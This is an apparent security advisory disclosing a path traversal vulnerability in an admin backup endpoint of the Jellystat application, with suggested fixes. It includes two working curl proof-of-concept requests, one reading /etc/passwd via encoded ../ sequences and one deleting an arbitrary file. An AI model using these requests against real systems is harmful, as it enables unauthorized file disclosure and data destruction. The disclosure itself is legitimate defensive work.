Hi Team,

While auditing the code. I noticed we are directly using a user input in the route(s) (below) this can lead to Path Traversal Vulnerabilities. You can read about Path Traversal on OWASP's page. CWE

Same thing is true for here, we should sanitize this param values here as well. (restrict it within the same directory, although with this endpoint the only issue is I can read any .json file and feed it to the backup function)

Since this functionality is only for admin(s), there is very little scope for abuse. However, the DELETE files/:filename can be used to delete any file. This makes it a High severity issue.

POC

Make sure you have admin access first.
For the backup/files/:filename. It is possible to read any file on the system.

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:3000' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Authorization: <TOKEN>' -H $'Connection: keep-alive' -H $'Referer: http://localhost:3000/settings' -H $'Priority: u=0' \
    $'http://localhost:3000/backup/files/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'

For the DELETE method backup/files/:filename. It is possible to delete any file on the system. (In this POC I am deleting a file in the /tmp/tmp-delete.txt)

curl --path-as-is -i -s -k -X $'DELETE' \
    -H $'Host: localhost:3000' -H $'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:135.0) Gecko/20100101 Firefox/135.0' -H $'Accept: application/json, text/plain, */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Authorization: <Token>' -H $'Connection: keep-alive' -H $'Referer: http://localhost:3000/settings' -H $'Priority: u=0' \
    $'http://localhost:3000/backup/files/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2ftmp-delete.txt'

Suggested Fixes

Since we have a DB based on the guidelines provided by CISA here, we should allow

1. Only alphanumeric values or in this case backup format files. OR
2. Save the filenames in the DB, and match if those values exist or not before making a fetch.

You can read more about the fixes I used in the other repositories which had a similar issue here: https://realarcherl.github.io/posts/research_1/ (this is ongoing research). Based on the approach you want to take, I can push a PR as well.

Note: Its best to sanitize all the user inputs. I suggest running a SAST tool like Semgrep or Snyk to locate all the other issues or I can help with it as well :)

Edit: Pushed a PR based on out discussion Jellystat-ghsa-6x46-6w9f-ffv6/pull/1

Impact

Read arbitrary file on the system.